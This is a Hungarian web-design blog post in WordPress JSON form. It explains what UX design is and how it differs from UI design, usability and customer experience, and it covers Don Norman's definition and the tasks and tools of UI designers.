{"id":1160,"date":"2018-06-27T04:54:10","date_gmt":"2018-06-27T02:54:10","guid":{"rendered":"http:\/\/blog.webshark.hu\/?p=1160"},"modified":"2022-09-05T07:43:37","modified_gmt":"2022-09-05T05:43:37","slug":"ux-design","status":"publish","type":"post","link":"http:\/\/blog.webshark.hu\/2018\/06\/27\/ux-design\/","title":{"rendered":"Mi az a UX (user experience) design? \u00c9s hogyan kezdj neki? (Friss\u00edtve, 2022.09.05.)"},"content":{"rendered":"\n

M\u00e1r \u00e9vek \u00f3ta vel\u00fcnk \u00e9l a\u00a0user experience design kifejez\u00e9s, b\u00e1r sokkal ink\u00e1bb a r\u00f6vid\u00edt\u00e9s\u00e9vel tal\u00e1lkozunk, a UX designnal.\u00a0Elmondjuk, mir\u0151l is van sz\u00f3, mi a UX \u00e9s a UI jelent\u00e9se, mi a k\u00fcl\u00f6nbs\u00e9g k\u00f6z\u00f6tt\u00fck, \u00e9s bemutatjuk, hogyan \u00e9rdemes nekifutni a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny tervez\u00e9s\u00e9nek. <\/strong>(Friss\u00edt\u00e9s, 2022.09.05. – Egy \u00faj fejezettel b\u0151v\u00edtett\u00fcnk: Hogyan m\u0171k\u00f6dik a rendszerhaszn\u00e1lhat\u00f3s\u00e1gi sk\u00e1la?<\/a>)<\/em><\/p>\n\n\n\n\n\n\n\n

A user experience design, a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny megtervez\u00e9se tulajdonk\u00e9ppen webdesign, csak egy m\u00e1s megk\u00f6zel\u00edt\u00e9sb\u0151l. Hab\u00e1r minden tervez\u00e9sn\u00e9l figyelembe veszik az \u201cembert\u201d, ott lebeg valamif\u00e9le persona a designer szeme el\u0151tt, itt a k\u00f6z\u00e9ppontba ker\u00fcl. A tervez\u00e9s minden eleme a felhaszn\u00e1l\u00f3nak van al\u00e1rendelve, mindent a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny szempontj\u00e1b\u00f3l vizsg\u00e1lunk.<\/p>\n\n\n\n

Mi az a UX? \u00c9s miben k\u00fcl\u00f6nb\u00f6zik a UI-t\u0151l?<\/h2>\n\n\n\n
Kezdj\u00fck azzal, hogy a UX, a user experience design r\u00f6vid\u00edt\u00e9se, magyarul a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny megtervez\u00e9s\u00e9t jelenti<\/strong>. A UI ezzel szemben a user interface design<\/strong>t takarja, \u00e9s eset\u00e9ben a felhaszn\u00e1l\u00f3i fel\u00fclet vizu\u00e1lis megjelen\u00edt\u00e9s\u00e9r\u0151l van sz\u00f3<\/strong>. Egy-egy term\u00e9k vagy ak\u00e1r weboldal l\u00e9trehoz\u00e1s\u00e1n\u00e1l mindkett\u0151re sz\u00fcks\u00e9g van.<\/p>\n\n\n\n
$\"Felhaszn\u00e1l\u00f3-k\u00f6zpont\u00fa$ <\/figure>\n\n\n\n
A UI-t els\u0151re k\u00f6nnyebb meg\u00e9rteni, hiszen k\u00f6zelebb \u00e1ll a gyakran haszn\u00e1lt webdesign kifejez\u00e9shez, azaz nagyj\u00e1b\u00f3l a grafikai munk\u00e1t takarja, m\u00edg a UX designer m\u00e9r, tesztel, elemez, adatokkal dolgozik<\/strong>.<\/p>\n\n\n\n
Ha ez \u00edgy m\u00e9g nem vil\u00e1gos, akkor tal\u00e1n k\u00f6nnyebb meg\u00e9rteni, ha az emberi testet weboldalk\u00e9nt k\u00e9pzelj\u00fck el. A csontv\u00e1z jelenti a csontokat, azaz a programoz\u00f3i munk\u00e1t, mely a v\u00e1z\u00e1t adja az eg\u00e9sznek. A k\u00fcl\u00f6nb\u00f6z\u0151 szervek a UX-et k\u00e9pviselik, vagyis a m\u00e9r\u00e9st \u00e9s az optimaliz\u00e1l\u00e1st az \u00e9letfunkci\u00f3k fenntart\u00e1sa \u00e9rdek\u00e9ben. Az UI pedig a k\u00fcls\u0151 felsz\u00edn, a kin\u00e9zet, vagyis ami k\u00edv\u00fclr\u0151l l\u00e1tszik a testb\u0151l.<\/p>\n\n\n\n
$\"csontv\u00e1z\"$ <\/a><\/figure><\/div>\n\n\n\n
Egy m\u00e1sik hasonlat szerint a UI a UX n\u00e9lk\u00fcl olyan, mint amikor egy fest\u0151 mindenf\u00e9le elk\u00e9pzel\u00e9s n\u00e9lk\u00fcl vet a v\u00e1szonra k\u00fcl\u00f6nf\u00e9le sz\u00edneket. Ugyanakkor a UX UI n\u00e9lk\u00fcl csak a v\u00e1z\u00e1t jelenti egy szobornak, melynek egy\u00e1ltal\u00e1n nincsenek kidolgozva a r\u00e9szletei \u00e9s felsz\u00edne. A j\u00f3 term\u00e9k\u00e9lm\u00e9ny teh\u00e1t mindig a UX-szel kezd\u0151dik, \u00e9s a UI k\u00f6veti<\/strong>. A term\u00e9k vagy weboldal siker\u00e9hez mindkett\u0151re sz\u00fcks\u00e9g van.<\/p>\n\n\n\n
De persze, mint minden hasonlat, ez is s\u00e1nt\u00edt kicsit, \u00fagyhogy \u00e1ssunk bele kicsit m\u00e9lyebben!<\/p>\n\n\n\n
A UX fogalm\u00e1t m\u00e9g a \u201890-es \u00e9vekben ismertette meg a vil\u00e1ggal Don Norman, a Nielsen Norman Group Design Consultancy t\u00e1rsalap\u00edt\u00f3ja, aki 1993-ban kezdett dolgozni az Apple-nek. Norman \u00e1ll a UX sz\u00e9les k\u00f6r\u0171 elterjed\u00e9se m\u00f6g\u00f6tt, de \u0151 nem \u0151 tal\u00e1lta fel. 1987-ben m\u00e1r lehetett tal\u00e1lkozni a user experience fogalm\u00e1val egy tudom\u00e1nyos foly\u00f3iratban (Human-Computer Interaction\u200a-\u200aINTERACT\u201987)<\/em>, ahol a haszn\u00e1lhat\u00f3s\u00e1ggal foglalkoz\u00f3 m\u00e9rn\u00f6k\u00f6k, Whiteside \u00e9s Wixon t\u00e1rgyalt\u00e1k azt, hogy meg kell v\u00e1ltoztatni a felhaszn\u00e1l\u00f3kr\u00f3l alkotott k\u00e9p\u00fcnket: a tapasztalt sz\u00e1m\u00edt\u00f3g\u00e9pes szakemberr\u0151l az \u00e1tlag felhaszn\u00e1l\u00f3ra.<\/p>\n\n\n\n
Don Norman \u00fagy defini\u00e1lta, hogy a user experience mag\u00e1ban foglalja a c\u00e9ggel, annak szolg\u00e1ltat\u00e1saival, term\u00e9keivel kapcsolatos v\u00e9gfelhaszn\u00e1l\u00f3i interakci\u00f3k minden vonatkoz\u00e1s\u00e1t<\/strong>. A UX teh\u00e1t nem csak weboldalak vagy appok kialak\u00edt\u00e1s\u00e1t jelenti, hanem minden bele tartozik, „az eg\u00e9sz \u00e9lm\u00e9ny”, hiszen a defin\u00edci\u00f3 szerint minden interakci\u00f3t mag\u00e1ban foglal, ami az \u00fcgyf\u00e9l \u00e9s a c\u00e9g k\u00f6z\u00f6tt t\u00f6rt\u00e9nik. Ezt \u00edgy magyar\u00e1zza:<\/p>\n\n\n\n
<\/iframe><\/figure>\n\n\n\n<h4>UX a gyakorlatban<\/h4>\n\n\n\n<p><strong>A UX elterjed\u00e9se<\/strong> legink\u00e1bb annak k\u00f6sz\u00f6nhet\u0151, hogy az elm\u00falt egy-k\u00e9t \u00e9vtizedben egyre \u00f6sszetettebb term\u00e9kek sz\u00fclettek, \u00e9s fejleszt\u0151ik r\u00e1j\u00f6ttek, hogy kifizet\u0151d\u0151 sz\u00e1mukra, ha k\u00f6nnyebb\u00e9 teszik a haszn\u00e1latukat. A UX a jelenlegi gyakorlatban egy c\u00e9g \u00e9s term\u00e9k\u00e9nek felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny\u00e9t \u00e9p\u00edti fel, azt elemzi \u00e9s optimaliz\u00e1lja. Ebbe a munk\u00e1ba beletartozik<\/p>\n\n\n\n<ul><li>a versenyt\u00e1rsak \u00e9s az \u00fcgyfelek elemz\u00e9se,<\/li><li>a term\u00e9k fel\u00e9p\u00edt\u00e9se,<\/li><li>a tartalmi fejleszt\u00e9s. R\u00e9sze<\/li><li>a dr\u00f3tv\u00e1z \u00e9s a protot\u00edpus elk\u00e9sz\u00edt\u00e9se,<\/li><li>a tesztel\u00e9s,<\/li><li>a fejleszt\u00e9s megtervez\u00e9se. Emellett UX-feladat<\/li><li>a fejleszt\u0151k \u00e9s a UI designerek munk\u00e1j\u00e1nak \u00f6sszehangol\u00e1sa,<\/li><li>a c\u00e9lok k\u00f6vet\u00e9se, majd<\/li><li>az elemz\u00e9sek.<\/li><\/ul>\n\n\n\n<p>Mindez azt jelenti, hogy egy UX designer r\u00e9szben piackutat\u00f3, designer \u00e9s project manager, a UX design pedig a c\u00e9g \u00e9s a felhaszn\u00e1l\u00f3k k\u00f6z\u00f6tti interakci\u00f3k jav\u00edt\u00e1s\u00e1r\u00f3l, fejleszt\u00e9s\u00e9r\u0151l sz\u00f3l\u00f3 tev\u00e9kenys\u00e9g. Teh\u00e1t a UX eg\u00e9sz egyszer\u0171en <strong>azon feladatok \u00f6sszess\u00e9ge, melyek egy term\u00e9k hat\u00e9kony \u00e9s \u00e9lvezetes haszn\u00e1lat\u00e1nak megteremt\u00e9s\u00e9re ir\u00e1nyulnak<\/strong>.<\/p>\n\n\n\n<h4>Mi a tr\u00fckk\u00f6s a UX-ben?<\/h4>\n\n\n\n<p>Miel\u0151tt a mai felkapott fogalomm\u00e1 v\u00e1lt volna a UX, val\u00f3ban azt jelentette, amit a sz\u00f3 kifejez: a felhaszn\u00e1l\u00f3 tapasztal\u00e1sait, azaz \u00e9lm\u00e9ny\u00e9t. Vagyis, hogy l\u00e9tezik a felhaszn\u00e1l\u00f3, \u00e9s \u0151 tapasztalt valamit egy term\u00e9k haszn\u00e1lata k\u00f6zben. Ennyi.<\/p>\n\n\n\n<p>A meg\u00e9rt\u00e9st alapvet\u0151en az bonyol\u00edtja, hogy <strong>az „\u00e9lm\u00e9nyt” nem lehet k\u00f6zvetlen\u00fcl megtervezni<\/strong>, mint egy fel\u00fcletet. Az \u00e9lm\u00e9ny csak eredm\u00e9nye annak, hogy a felhaszn\u00e1l\u00f3i interakci\u00f3ba l\u00e9p egy term\u00e9kkel vagy szolg\u00e1ltat\u00e1ssal. \u00c9s <strong>az \u00e9lm\u00e9ny a felhaszn\u00e1l\u00f3n bel\u00fcl keletkezik<\/strong>.<\/p>\n\n\n\n<p>A designernek lehet befoly\u00e1sa a term\u00e9k haszn\u00e1lhat\u00f3s\u00e1g\u00e1ra, vizu\u00e1lis megjelen\u00e9s\u00e9re, arra ugyanakkor m\u00e1r nem, hogy <strong>mit \u00e9rezzen a felhaszn\u00e1l\u00f3 a haszn\u00e1lat el\u0151tt \u00e9s az ut\u00e1n<\/strong>. Ezekre egyszer\u0171en nincs hat\u00e1sa, hiszen egy\u00e9ni t\u00e9nyez\u0151k\u00f6n m\u00falik, nem csak mag\u00e1n a term\u00e9ken. Aki a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt tervezni tudja, az csak maga a felhaszn\u00e1l\u00f3.<\/p>\n\n\n\n<p>A felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny teh\u00e1t att\u00f3l is f\u00fcgg, hogy mit tapasztalt kor\u00e1bban a felhaszn\u00e1l\u00f3, milyen asszoci\u00e1ci\u00f3i keletkeznek, amikor tal\u00e1lkozik a term\u00e9kkel, milyen szem\u00e9lyis\u00e9ge van, mit akar, mit \u00e9rzett el\u0151tte. Teh\u00e1t rossz lehet a UX csak att\u00f3l, mert a felhaszn\u00e1l\u00f3nak voltak kor\u00e1bbi rossz tapasztalatai hasonl\u00f3 term\u00e9kekkel.<\/p>\n\n\n\n<p>Szint\u00e9n nincs befoly\u00e1sa a designernek a k\u00f6rnyezetre, a kontextusra. Term\u00e9szetesen figyelembe veheti a k\u00fcl\u00f6nb\u00f6z\u0151 lehet\u0151s\u00e9geket, p\u00e9ld\u00e1ul azt, hogy mennyire vil\u00e1gos k\u00f6rnyezetben haszn\u00e1lhatja a felhaszn\u00e1l\u00f3 a term\u00e9ket, lehet hogy lass\u00fa az internetkapcsolat, nagy a zaj a h\u00e1tt\u00e9rben, bizonyos t\u00e9nyez\u0151k elvonj\u00e1k a figyelm\u00e9t a feladatr\u00f3l, esetleg haszn\u00e1lat k\u00f6zben m\u00e1ssal is foglalkozik, p\u00e9ld\u00e1ul t\u00e9v\u00e9t n\u00e9z, de mindent nem vehet figyelembe.<\/p>\n\n\n\n<p><strong>A tervez\u0151k ez\u00e9rt mind\u00f6ssze rem\u00e9nykedni tudnak<\/strong> egy term\u00e9k elk\u00e9sz\u00edt\u00e9se ut\u00e1n, hogy az olyan reakci\u00f3t v\u00e1lt ki a felhaszn\u00e1l\u00f3ban, amit \u0151k szerettek volna el\u00e9rni. K\u00f6zvetlen\u00fcl azonban ezt <strong>a bels\u0151 \u00e9lm\u00e9nyt nem tudj\u00e1k tervezni<\/strong>, mert a tapasztal\u00e1s szubjekt\u00edv. A tervez\u0151knek befoly\u00e1sa els\u0151sorban a haszn\u00e1lhat\u00f3s\u00e1gra van, azt tudj\u00e1k optimaliz\u00e1lni.<\/p>\n\n\n\n<h4>UX \u00e9s usability<\/h4>\n\n\n\n<p>A gyakorlatban \u00e1ltal\u00e1ban <strong>a UX fogalma a <a href=\"http:\/\/blog.webshark.hu\/2018\/07\/13\/usability\/\" target=\"_blank\" rel=\"noopener\">haszn\u00e1lhat\u00f3s\u00e1ghoz (usability)<\/a><\/strong>, a k\u00f6nny\u0171 haszn\u00e1lathoz kapcsol\u00f3dik. Ez azonban ink\u00e1bb a sz\u00e1nd\u00e9kot jelzi, vagyis hogy szeretn\u00e9nk, ha k\u00f6nnyen haszn\u00e1lhat\u00f3 lenne a term\u00e9k\u00fcnk. A felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny ezzel szemben <strong>b\u00e1rmilyen \u00e9lm\u00e9ny lehet<\/strong>: boldogs\u00e1g, h\u00e1la vagy \u00e9pp szomor\u00fas\u00e1g \u00e9rz\u00e9se.<\/p>\n\n\n\n<p>Sokan keverik is a kett\u0151t, azaz a UX-et \u00e9s a usabilityt. Akkor is UX-tesztekr\u0151l besz\u00e9lnek, amikor egyszer\u0171en a haszn\u00e1lhat\u00f3s\u00e1got tesztelik. Ebben k\u00f6zrej\u00e1tszik persze az is, hogy a UX m\u00e1ra nagyon felkapott lett, \u00e9s ott is felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt emlegetnek, ahol teljesen felesleges, puszt\u00e1n j\u00f3l hangzik.<\/p>\n\n\n\n<p>A <strong>UX design azonban egy sokkal sz\u00e9lesebb ter\u00fclet, mint a usability<\/strong>. Ha csak a usabilityt \u00e9rtj\u00fck alatt, akkor le\u00e9rt\u00e9kelj\u00fck a UX-et. Hiszen a haszn\u00e1lhat\u00f3s\u00e1gn\u00e1l arra figyel\u00fcnk, hogy a term\u00e9k haszn\u00e1lata hat\u00e9kony, eredm\u00e9nyes \u00e9s kiel\u00e9g\u00edt\u0151 legyen a felhaszn\u00e1l\u00f3 sz\u00e1m\u00e1ra meghat\u00e1rozott c\u00e9lok el\u00e9r\u00e9se \u00e9rdek\u00e9ben.<\/p>\n\n\n\n<p>A <strong>usability arra a feladatra \u00f6sszpontos\u00edt, amit egy adott szitu\u00e1ci\u00f3 sor\u00e1n a felhaszn\u00e1l\u00f3 v\u00e9grehajt<\/strong>. Teh\u00e1t p\u00e9ld\u00e1ul egy web\u00e1ruh\u00e1zban meg akar v\u00e1s\u00e1rolni egy term\u00e9ket, \u00e9s \u00edgy v\u00e9gighalad a v\u00e1s\u00e1rl\u00e1si folyamaton. A l\u00e9nyeg pedig az, hogy min\u00e9l kevesebbet kelljen kattintania, min\u00e9l kevesebb stressz \u00e9s bizonytalans\u00e1g jellemezze a folyamatot.<\/p>\n\n\n\n<p>Egy term\u00e9k (p\u00e9ld\u00e1ul egy weboldal) k\u00f6nny\u0171 haszn\u00e1lat\u00e1hoz sz\u00fcks\u00e9g van arra, hogy<\/p>\n\n\n\n<ul><li>a felhaszn\u00e1l\u00f3 magyar\u00e1zat n\u00e9lk\u00fcl, k\u00f6nnyen meg\u00e9rtse a term\u00e9k haszn\u00e1lat\u00e1t. Ez a <strong>tanulhat\u00f3s\u00e1g<\/strong>.<\/li><li><strong>Hat\u00e9kony<\/strong> legyen a term\u00e9k haszn\u00e1lata a felhaszn\u00e1l\u00f3 sz\u00e1m\u00e1ra.<\/li><li><strong>Megjegyezhet\u0151k<\/strong> legyenek a term\u00e9k funkci\u00f3i egy k\u00e9s\u0151bbi haszn\u00e1lat \u00e9rdek\u00e9ben. Ne kelljen minden egyes alkalommal \u00fajratanulnia a rendszer m\u0171k\u00f6d\u00e9s\u00e9t.<\/li><li>Lehet\u0151leg <strong>ne tudjon hib\u00e1zni<\/strong> a felhaszn\u00e1l\u00f3 a haszn\u00e1lat sor\u00e1n.<\/li><li>V\u00e9g\u00fcl pedig legyen <strong>el\u00e9gedett<\/strong> a term\u00e9k haszn\u00e1lat\u00e1val, k\u00e9nyelmesen tudja azt haszn\u00e1lni, ne okozzon sz\u00e1m\u00e1ra meglepet\u00e9seket.<\/li><\/ul>\n\n\n\n<p><strong>A UX ezzel szemben t\u00falmutat a felhaszn\u00e1l\u00e1si helyzeten<\/strong>. A UX azzal is foglalkozik, hogy az emberek mi\u00e9rt akarj\u00e1k haszn\u00e1lni a term\u00e9ket, \u00e9s mi t\u00f6rt\u00e9nik a haszn\u00e1lat ut\u00e1n. Ez azt is jelenti, hogy a UX nem cser\u00e9li le a usabilityt, hanem kiterjeszti. <strong>A UX az emberekre \u00f6sszpontos\u00edt \u00e9s szubjekt\u00edv \u00e9lm\u00e9nnyel foglalkozik<\/strong>, el\u0151t\u00e9rbe ker\u00fclnek az \u00e9rzelmi jellegzetess\u00e9gek. Viszont nincs teljes m\u00e9rt\u00e9kben hat\u00e1ssal a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyre.<\/p>\n\n\n\n<p>A designer meg tudja alkotni a t\u00f6k\u00e9letes rendszert a lehet\u0151 legjobb haszn\u00e1lhat\u00f3s\u00e1ggal egy c\u00e9lcsoport sz\u00e1m\u00e1ra. Ez azonban <strong>nem garant\u00e1lja a j\u00f3 felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt<\/strong> minden egyes c\u00e9lcsoportban l\u00e9v\u0151 ember sz\u00e1m\u00e1ra.<\/p>\n\n\n\n<h4>N\u00e9h\u00e1ny fontos dolog, amit meg kell \u00e9rteni a UX kapcs\u00e1n<\/h4>\n\n\n\n<ul><li>A felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny nem maga a term\u00e9k, hanem <strong>a term\u00e9kkel kapcsolatos interakci\u00f3k eredm\u00e9nyek\u00e9nt l\u00e9trej\u00f6v\u0151 tapasztal\u00e1s<\/strong>.<\/li><li>Nem csak maga a term\u00e9k befoly\u00e1solja a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt, hanem<strong> a felhaszn\u00e1l\u00f3 bels\u0151 \u00e1llapota<\/strong>: v\u00e1rakoz\u00e1sai, sz\u00fcks\u00e9gletei, motiv\u00e1ci\u00f3ja, el\u0151\u00edt\u00e9letei, hangulata, stb. (Mik\u00e9nt lehet p\u00e9ld\u00e1ul egy j\u00f3 \u00e9lm\u00e9nyt kialak\u00edtani egy j\u00e9gkr\u00e9mn\u00e9l, ha az adott felhaszn\u00e1l\u00f3 ut\u00e1lja a j\u00e9gkr\u00e9met?)<\/li><li>Szint\u00e9n nagyon fontos <strong>a kontextus, amiben az interakci\u00f3kra sor ker\u00fcl<\/strong>. Nem mindegy, hogy egy zen\u00e9t p\u00e9ntek este egy sz\u00f3rakoz\u00f3helyen hallgatsz meg a bar\u00e1tokkal iszogatva, vagy az az aut\u00f3-hifib\u0151l sz\u00f3l.<\/li><li>Az \u00e9lm\u00e9ny nagyon gyakran nem csak egyetlen, k\u00fcl\u00f6n\u00e1ll\u00f3 \u00e9lm\u00e9ny, hanem <strong>\u00e9lm\u00e9nyek \u00f6sszess\u00e9g\u00e9b\u0151l \u00e1ll \u00f6ssze<\/strong>. Erre \u00e9p\u00edt p\u00e9ld\u00e1ul az Apple az Apple Store-okkal, ahov\u00e1 bet\u00e9r a felhaszn\u00e1l\u00f3i, amikor meg akar venni egy term\u00e9ket. Hiszen meg\u00e9rtett\u00e9k, hogy az \u00e9lm\u00e9ny r\u00e9sze m\u00e1r az is, ahogy a felhaszn\u00e1l\u00f3 kinyitja az \u00fczlet ajtaj\u00e1t.<\/li><\/ul>\n\n\n\n<h3>A UI design<\/h3>\n\n\n\n<p>Ezzel szemben az UI r\u00f6vid\u00edt\u00e9s az a user interface-t, vagyis a <strong>felhaszn\u00e1l\u00f3i fel\u00fcletet<\/strong> jel\u00f6li. A UI design ember-sz\u00e1m\u00edt\u00f3g\u00e9p interakci\u00f3 designj\u00e1t, a m\u0171k\u00f6d\u00e9si logik\u00e1t \u00e9s mag\u00e1t a grafikus felhaszn\u00e1l\u00f3 fel\u00fcletet (GUI) jelenti. \u00c1ltal\u00e1noss\u00e1gban a felhaszn\u00e1l\u00f3i fel\u00fclet egy vizu\u00e1lis port\u00e1l, melyek az emberek sz\u00e1m\u00e1ra lehet\u0151v\u00e9 teszi az inform\u00e1ci\u00f3hoz jut\u00e1st, az eszk\u00f6z ir\u00e1ny\u00edt\u00e1s\u00e1t. Nagyon sok elektronikus eszk\u00f6znek, melyeket a h\u00e9tk\u00f6znapokban haszn\u00e1lunk, van kijelz\u0151je. Ilyen egy t\u00e9v\u00e9, egy mobil, egy laptop, az ATM-ek, stb. Aminek pedig kijelz\u0151je van, annak UI design is sz\u00fcks\u00e9ges.<\/p>\n\n\n\n<p>A user interface design tulajdonk\u00e9ppen <strong>a felhaszn\u00e1l\u00f3 vizu\u00e1lis ir\u00e1ny\u00edt\u00e1s\u00e1nak folyamata<\/strong> egy term\u00e9k fel\u00fclet\u00e9n, az interakt\u00edv elemeken kereszt\u00fcl, minden kijelz\u0151m\u00e9reten \u00e9s platformon. Egyszer\u0171bben fogalmazva mag\u00e1nak a \u201cb\u0151rnek\u201d a l\u00e9trehoz\u00e1sa, egy term\u00e9k <strong>vizu\u00e1lis, illetve grafikai megjelen\u00edt\u00e9se<\/strong>. De hozz\u00e1 tartozik az \u201c\u00e9rz\u00e9kek\u201d megalkot\u00e1sa is, azaz egy term\u00e9k <strong>reaktivit\u00e1sa \u00e9s interaktivit\u00e1sa<\/strong> nemcsak a felhaszn\u00e1l\u00f3kkal, hanem a k\u00fcl\u00f6nb\u00f6z\u0151 kijelz\u0151kkel \u00f6sszef\u00fcgg\u00e9sben. Tov\u00e1bb\u00e1 r\u00e9sze a \u201csmink\u201d elk\u00e9sz\u00edt\u00e9se, teh\u00e1t a <strong>seg\u00edts\u00e9g, ir\u00e1nymutat\u00e1s<\/strong>, mely \u00e1ltal a felhaszn\u00e1l\u00f3 vizu\u00e1lisan v\u00e9gigvezethet\u0151 az \u00e9lm\u00e9nyen. <\/p>\n\n\n\n<h4>A UI design funkci\u00f3i<\/h4>\n\n\n\n<ol><li><strong>Grafikus design<\/strong>: ez jelenti egy term\u00e9k „vizu\u00e1lis designj\u00e1t”, \u00e9s a legt\u00f6bben design alatt legink\u00e1bb ezt \u00e9rtik, pedig a UI designnak is csak egy r\u00e9sze.<\/li><li><strong>Interakci\u00f3 design<\/strong>: a term\u00e9k m\u0171k\u00f6d\u00e9si folyamat\u00e1nak megtervez\u00e9se, fastrukt\u00fara, m\u0171k\u00f6d\u00e9si specifik\u00e1ci\u00f3k kialak\u00edt\u00e1sa, mely az interakci\u00f3 designer feladata.<\/li><li><strong>Felhaszn\u00e1l\u00f3i tesztek<\/strong>: az interakci\u00f3 design m\u0171k\u00f6d\u00e9s\u00e9nek valamint a grafikus design kin\u00e9zet\u00e9nek tesztel\u00e9se tartozik bele. <\/li><\/ol>\n\n\n\n<h4>A UI designer feladatai<\/h4>\n\n\n\n<ul><li>a felhaszn\u00e1l\u00f3-elemz\u00e9s,<\/li><li>a design-kutat\u00e1s,<\/li><li>a grafikai munka,<\/li><li>ikonok tervez\u00e9se,<\/li><li>a felhaszn\u00e1l\u00f3i fel\u00fclet kialak\u00edt\u00e1sa,<\/li><li>az interaktivit\u00e1s \u00e9s az anim\u00e1ci\u00f3k l\u00e9trehoz\u00e1sa,<\/li><li>a fel\u00fclet adapt\u00e1l\u00e1sa minden kijelz\u0151m\u00e9retre, \u00e9s v\u00e9g\u00fcl<\/li><li>a megval\u00f3s\u00edt\u00e1s a programoz\u00f3k r\u00e9v\u00e9n.<\/li><\/ul>\n\n\n\n<p>Teh\u00e1t, mint l\u00e1that\u00f3 a UI designernek \u00e9rtenie kell az ikonok tervez\u00e9s\u00e9hez, \u00e9s nem csak k\u00e9sz ikonok kiv\u00e1laszt\u00e1s\u00e1hoz. K\u00e9pesnek kell lennie megrajzolni a k\u00fcl\u00f6nb\u00f6z\u0151 fel\u00fcleteket, de a fel\u00fclet elrendez\u00e9s\u00e9nek megtervez\u00e9se is a feladta. Emellett azonban nem csak az eszt\u00e9tik\u00e1val kell foglalkoznia, hanem a fel\u00fclet logik\u00e1j\u00e1val is, illetve az interakci\u00f3k tervez\u00e9s\u00e9vel is tiszt\u00e1ban kell lennie.<\/p>\n\n\n\n<h4>Milyen eszk\u00f6z\u00f6ket haszn\u00e1l?<\/h4>\n\n\n\n<p>A UI designerek \u00e1ltal haszn\u00e1lt eszk\u00f6z\u00f6k k\u00f6z\u00e9 tartozik a Photoshop, az Adobe Illustrator, a Sketch, az Axure (vagy m\u00e1s dr\u00f3tv\u00e1z \u00e9s protot\u00edpus k\u00e9sz\u00edt\u0151 eszk\u00f6z), a Mockplus (vagy m\u00e1s mockup k\u00e9sz\u00edt\u0151), vagy ak\u00e1r adott esetben a C4D \u00e9s az Adobe After Effects is. <\/p>\n\n\n\n<p>Az eddigiek alapj\u00e1n m\u00e1r l\u00e1tszik, hogy UX-re \u00e9s UI-re is sz\u00fcks\u00e9g van egy term\u00e9khez vagy weboldalhoz. Amikor egy term\u00e9k j\u00f3l n\u00e9z ki, de rosszul haszn\u00e1lhat\u00f3, akkor ott j\u00f3 az UI design, de hi\u00e1nyos a UX megtervez\u00e9se. Amikor viszont van egy j\u00f3l haszn\u00e1lhat\u00f3 term\u00e9k\u00fcnk, ami rettent\u0151en ronda, akkor az a j\u00f3 UX-re \u00e9s rossz UI-re p\u00e9lda. Mindkett\u0151re figyelni kell teh\u00e1t az optim\u00e1lis felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny kialak\u00edt\u00e1sa \u00e9rdek\u00e9ben.<\/p>\n\n\n\n<div class=\"wp-block-image size-full wp-image-2293\"><figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"640\" height=\"833\" src=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2017\/03\/UX.jpg\" alt=\"\u00cdgy \u00e9p\u00fcl fel a weboldal\" class=\"wp-image-2293\" srcset=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2017\/03\/UX.jpg 640w, http:\/\/blog.webshark.hu\/wp-content\/uploads\/2017\/03\/UX-230x300.jpg 230w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><figcaption>\u00cdgy \u00e9p\u00fcl fel a weboldal. Te mit l\u00e1tsz bel\u0151le?<\/figcaption><\/figure><\/div>\n\n\n\n<h3>Mi a k\u00fcl\u00f6nbs\u00e9g UX, CX \u00e9s BX k\u00f6z\u00f6tt?<\/h3>\n\n\n\n<p>A leggyakrabban azzal a meghat\u00e1roz\u00e1ssal lehet tal\u00e1lkozni, hogy m\u00edg a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny a v\u00e1s\u00e1rl\u00e1s ut\u00e1ni szakaszra vonatkozik (term\u00e9k haszn\u00e1lat\u00e1nak \u00e9lm\u00e9nye), addig a v\u00e1s\u00e1rl\u00f3i \u00e9lm\u00e9ny a v\u00e1s\u00e1rl\u00e1s el\u0151tti szakaszra (term\u00e9khez jut\u00e1s \u00e9lm\u00e9nye). Ez helyt\u00e1ll\u00f3 is volt kor\u00e1bban, ma m\u00e1r azonban nem igaz.<\/p>\n\n\n\n<p>A UX \u00e9s CX meghat\u00e1roz\u00e1sok \u00e9s differenci\u00e1l\u00e1s tekintet\u00e9ben nem egyeznek a v\u00e9lem\u00e9nyek. Akadnak akik szerint a UX a CX r\u00e9sze, vagy \u00e9ppen ford\u00edtva, de \u00fagy is lehet gondolni r\u00e1juk, hogy egym\u00e1s mellett l\u00e9teznek, de nem f\u00fcggetlenk\u00e9nt, egyik sem \u00e1ll a m\u00e1sik felett a hierarchi\u00e1ban. <\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"711\" height=\"313\" src=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2019\/05\/ux-cx-egymas-mellett.png\" alt=\"\" class=\"wp-image-3626\" srcset=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2019\/05\/ux-cx-egymas-mellett.png 711w, http:\/\/blog.webshark.hu\/wp-content\/uploads\/2019\/05\/ux-cx-egymas-mellett-300x132.png 300w\" sizes=\"(max-width: 711px) 100vw, 711px\" \/><\/figure>\n\n\n\n<p>Eszerint \u00fagy kell elk\u00e9pzelni a viszonyukat, hogy a UX \u00e9s a CX k\u00f6z\u00f6tt l\u00e9tezhet egy hat\u00e1rvonal, mely a v\u00e1s\u00e1rl\u00e1s pillanat\u00e1hoz kapcsol\u00f3dik. Minden, ami CX, az\u00e9rt felel\u0151s, ami az adott hat\u00e1rvonalig t\u00f6rt\u00e9nik. \u00c9s minden, ami UX, ett\u0151l a hat\u00e1rvonalt\u00f3l kezd\u0151dik. 